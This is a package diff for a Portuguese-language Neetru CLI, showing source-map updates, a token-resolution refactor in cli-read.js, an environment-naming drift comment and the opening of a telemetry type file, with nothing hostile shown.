eAAe,EAAE,CAAC;IAC/B,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE,CAAC;QACtB,MAAM,IAAI,oBAAoB,EAAE,CAAC;IACnC,CAAC;IAED,IAAI,GAAW,CAAC;IAChB,IAAI,CAAC;QACH,GAAG,GAAG,MAAM,EAAE,CAAC,QAAQ,CAAC,IAAI,EAAE,MAAM,CAAC,CAAC;IACxC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,IAAI,oBAAoB,CAC5B,gBAAgB,IAAI,KAAM,GAAa,CAAC,OAAO,EAAE,CAClD,CAAC;IACJ,CAAC;IAED,IAAI,MAAe,CAAC;IACpB,IAAI,CAAC;QACH,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;IAC3B,CAAC;IAAC,MAAM,CAAC;QACP,MAAM,IAAI,oBAAoB,CAC5B,WAAW,IAAI,qDAAqD,CACrE,CAAC;IACJ,CAAC;IAED,MAAM,IAAI,GAAG,MAA6B,CAAC;IAC3C,IACE,CAAC,IAAI;QACL,OAAO,IAAI,CAAC,KAAK,KAAK,QAAQ;QAC9B,OAAO,IAAI,CAAC,KAAK,KAAK,QAAQ;QAC9B,OAAO,IAAI,CAAC,OAAO,KAAK,QAAQ,EAChC,CAAC;QACD,MAAM,IAAI,oBAAoB,CAC5B,WAAW,IAAI,qDAAqD,CACrE,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,KAAK,EAAE,IAAI,CAAC,KAAK,EAAE,KAAK,EAAE,IAAI,CAAC,KAAK,EAAE,OAAO,EAAE,IAAI,CAAC,OAAO,EAAE,CAAC;AACzE,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,SAAS,CAAC,KAAa,EAAE,KAAa;IAC1D,MAAM,IAAI,GAAG,eAAe,EAAE,CAAC;IAC/B,MAAM,GAAG,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAE1B,wEAAwE;IACxE,MAAM,EAAE,CAAC,KAAK,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;IAEtD,MAAM,OAAO,GAAe;QAC1B,KAAK;QACL,KAAK;QACL,OAAO,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;KAClC,CAAC;IAEF,0EAA0E;IAC1E,2EAA2E;IAC3E,MAAM,EAAE,CAAC,SAAS,CAAC,IAAI,EAAE,IAAI,CAAC,SAAS,CAAC,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC,EAAE;QACzD,QAAQ,EAAE,MAAM;QAChB,IAAI,EAAE,KAAK;KACZ,CAAC,CAAC;IAEH,4EAA4E;IAC5E,IAAI,CAAC;QACH,MAAM,EAAE,CAAC,KAAK,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;IAC9B,CAAC;IAAC,MAAM,CAAC;QACP,mEAAmE;QACnE,kCAAkC;IACpC,CAAC;IAED,OAAO,IAAI,CAAC;AACd,CAAC;AAED;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,mBAAmB;IACvC,IAAI,CAAC;QACH,MAAM,IAAI,GAAG,MAAM,SAAS,EAAE,CAAC;QAC/B,OAAO,IAAI,CAAC,KAAK,CAAC;IACpB,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,UAAU;IAC9B,MAAM,IAAI,GAAG,eAAe,EAAE,CAAC;IAC/B,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC;QAAE,OAAO,KAAK,CAAC;IACpC,MAAM,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;IACtB,OAAO,IAAI,CAAC;AACd,CAAC"}
+{"version":3,"file":"auth.js","sourceRoot":"","sources":["../../src/lib/auth.ts"],"names":[],"mappings":"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"}

package/dist/lib/cli-read.d.ts

@@ -1,5 +1,8 @@
 /**
  * Resolve o Bearer token corrente. Retorna `null` se não houver sessão.
+ *
+ * MASTER-HIGH-048 (2.11.0): wrapper sobre `getActiveTokenSync()` —
+ * mantem `async` por compat com call-sites que esperam Promise.
  */
 export declare function resolveToken(): Promise<string | null>;
 /**

package/dist/lib/cli-read.js

@@ -9,13 +9,16 @@
  *   1 — não autenticado / não encontrado (4xx semântico do usuário)
  *   2 — token inválido/revogado, erro de rede, erro de servidor
  */
-import { config } from './config.js';
 import { loadToken, AuthFileMissingError, AuthFileInvalidError, } from './auth.js';
+import { getActiveTokenSync } from './token-resolver.js';
 import { CliApiError, CliNetworkError } from './api-client.js';
 import { log } from '../utils/logger.js';
 import { safeExit } from '../utils/safe-exit.js';
 /**
  * Resolve o Bearer token corrente. Retorna `null` se não houver sessão.
+ *
+ * MASTER-HIGH-048 (2.11.0): wrapper sobre `getActiveTokenSync()` —
+ * mantem `async` por compat com call-sites que esperam Promise.
  */
 export async function resolveToken() {
     try {
@@ -25,7 +28,7 @@ export async function resolveToken() {
     catch (err) {
         if (err instanceof AuthFileMissingError) {
             // Fallback: Conf storage (legacy `neetru login --token <nrt_...>`).
-            return config.get('neetruApiKey') ?? null;
+            return getActiveTokenSync();
         }
         if (err instanceof AuthFileInvalidError) {
             log.error(err.message);

package/dist/lib/cli-read.js.map

@@ -1 +1 @@
-{"version":3,"file":"cli-read.js","sourceRoot":"","sources":["../../src/lib/cli-read.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"cli-read.js","sourceRoot":"","sources":["../../src/lib/cli-read.ts"],"names":[],"mappings":"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"}

package/dist/lib/db-local/env.d.ts

@@ -11,6 +11,17 @@
  * atualize seus scripts/config. NUNCA um rewrite silencioso.
  *
  * Aliases que emitem aviso: dev, local (→ dev-local), stg (→ staging), prod (→ production).
+ *
+ * NOTA DE DRIFT (achado N3 — MASTER-HIGH-065):
+ * O Core usa `EnvironmentId = 'prod'` (src/lib/types.ts). Esta CLI usa `'production'`.
+ * São TWO tipos distintos para o mesmo conceito. A migração para `'prod'` exige:
+ *   1. Decisão owner sobre valor canônico (recomendado: 'prod')
+ *   2. Migração do .neetru/db.json em todos os projetos (chave 'production' → 'prod')
+ *   3. Atualização do Core: DatabaseEnvironment e z.enum em db/lease/route.ts
+ *   4. Atualização de ~30 testes neste repo
+ * Até essa decisão, manter 'production' aqui evita mismatch maior.
+ * Ref: glossário 0.1.4 exporta normalizeEnvId() que usa 'prod' — use-o para
+ * queries inter-sistema quando disponível.
  */
 /** Os 3 ambientes canônicos persistidos no `.neetru/db.json`. */
 export type NeetruEnv = 'dev-local' | 'staging' | 'production';

package/dist/lib/db-local/env.js

@@ -11,6 +11,17 @@
  * atualize seus scripts/config. NUNCA um rewrite silencioso.
  *
  * Aliases que emitem aviso: dev, local (→ dev-local), stg (→ staging), prod (→ production).
+ *
+ * NOTA DE DRIFT (achado N3 — MASTER-HIGH-065):
+ * O Core usa `EnvironmentId = 'prod'` (src/lib/types.ts). Esta CLI usa `'production'`.
+ * São TWO tipos distintos para o mesmo conceito. A migração para `'prod'` exige:
+ *   1. Decisão owner sobre valor canônico (recomendado: 'prod')
+ *   2. Migração do .neetru/db.json em todos os projetos (chave 'production' → 'prod')
+ *   3. Atualização do Core: DatabaseEnvironment e z.enum em db/lease/route.ts
+ *   4. Atualização de ~30 testes neste repo
+ * Até essa decisão, manter 'production' aqui evita mismatch maior.
+ * Ref: glossário 0.1.4 exporta normalizeEnvId() que usa 'prod' — use-o para
+ * queries inter-sistema quando disponível.
  */
 /** Mapa de aliases aceitos → valor canônico. */
 const ENV_ALIASES = {

package/dist/lib/db-local/env.js.map

@@ -1 +1 @@
-{"version":3,"file":"env.js","sourceRoot":"","sources":["../../../src/lib/db-local/env.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAKH,gDAAgD;AAChD,MAAM,WAAW,GAA8B;IAC7C,GAAG,EAAE,WAAW;IAChB,WAAW,EAAE,WAAW;IACxB,KAAK,EAAE,WAAW;IAClB,OAAO,EAAE,SAAS;IAClB,GAAG,EAAE,SAAS;IACd,IAAI,EAAE,YAAY;IAClB,UAAU,EAAE,YAAY;CACzB,CAAC;AAEF;;;GAGG;AACH,MAAM,YAAY,GAA2B;IAC3C,GAAG,EAAE,WAAW;IAChB,KAAK,EAAE,WAAW;IAClB,GAAG,EAAE,SAAS;IACd,IAAI,EAAE,YAAY;CACnB,CAAC;AAEF;;;;;;;;GAQG;AACH,MAAM,UAAU,YAAY,CAAC,KAAa;IACxC,IAAI,OAAO,KAAK,KAAK,QAAQ,EAAE,CAAC;QAC9B,MAAM,IAAI,KAAK,CACb,6DAA6D,OAAO,KAAK,KAAK;YAC5E,kDAAkD,CACrD,CAAC;IACJ,CAAC;IAED,MAAM,GAAG,GAAG,KAAK,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;IACvC,MAAM,SAAS,GAAG,WAAW,CAAC,GAAG,CAAC,CAAC;IAEnC,IAAI,CAAC,SAAS,EAAE,CAAC;QACf,MAAM,IAAI,KAAK,CACb,2BAA2B,KAAK,qBAAqB;YACnD,mDAAmD;YACnD,2EAA2E,CAC9E,CAAC;IACJ,CAAC;IAED,yDAAyD;IACzD,MAAM,MAAM,GAAG,YAAY,CAAC,GAAG,CAAC,CAAC;IACjC,IAAI,MAAM,EAAE,CAAC;QACX,OAAO,CAAC,MAAM,CAAC,KAAK,CAClB,oBAAoB,KAAK,qCAAqC,MAAM,KAAK;YACvE,6CAA6C,MAAM,kBAAkB,CACxE,CAAC;IACJ,CAAC;IAED,OAAO,SAAS,CAAC;AACnB,CAAC"}
+{"version":3,"file":"env.js","sourceRoot":"","sources":["../../../src/lib/db-local/env.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAKH,gDAAgD;AAChD,MAAM,WAAW,GAA8B;IAC7C,GAAG,EAAE,WAAW;IAChB,WAAW,EAAE,WAAW;IACxB,KAAK,EAAE,WAAW;IAClB,OAAO,EAAE,SAAS;IAClB,GAAG,EAAE,SAAS;IACd,IAAI,EAAE,YAAY;IAClB,UAAU,EAAE,YAAY;CACzB,CAAC;AAEF;;;GAGG;AACH,MAAM,YAAY,GAA2B;IAC3C,GAAG,EAAE,WAAW;IAChB,KAAK,EAAE,WAAW;IAClB,GAAG,EAAE,SAAS;IACd,IAAI,EAAE,YAAY;CACnB,CAAC;AAEF;;;;;;;;GAQG;AACH,MAAM,UAAU,YAAY,CAAC,KAAa;IACxC,IAAI,OAAO,KAAK,KAAK,QAAQ,EAAE,CAAC;QAC9B,MAAM,IAAI,KAAK,CACb,6DAA6D,OAAO,KAAK,KAAK;YAC5E,kDAAkD,CACrD,CAAC;IACJ,CAAC;IAED,MAAM,GAAG,GAAG,KAAK,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;IACvC,MAAM,SAAS,GAAG,WAAW,CAAC,GAAG,CAAC,CAAC;IAEnC,IAAI,CAAC,SAAS,EAAE,CAAC;QACf,MAAM,IAAI,KAAK,CACb,2BAA2B,KAAK,qBAAqB;YACnD,mDAAmD;YACnD,2EAA2E,CAC9E,CAAC;IACJ,CAAC;IAED,yDAAyD;IACzD,MAAM,MAAM,GAAG,YAAY,CAAC,GAAG,CAAC,CAAC;IACjC,IAAI,MAAM,EAAE,CAAC;QACX,OAAO,CAAC,MAAM,CAAC,KAAK,CAClB,oBAAoB,KAAK,qCAAqC,MAAM,KAAK;YACvE,6CAA6C,MAAM,kBAAkB,CACxE,CAAC;IACJ,CAAC;IAED,OAAO,SAAS,CAAC;AACnB,CAAC"}

package/dist/lib/telemetry.d.ts

@@ -0,0 +1,45 @@
+export interface TelemetryEvent {
+    /** Nome do comando (ex: `db.apply`, `deploy`, `whoami`). */
+    command: string;
+    /** Duracao em ms (best-effort). */
+    durationMs: number;
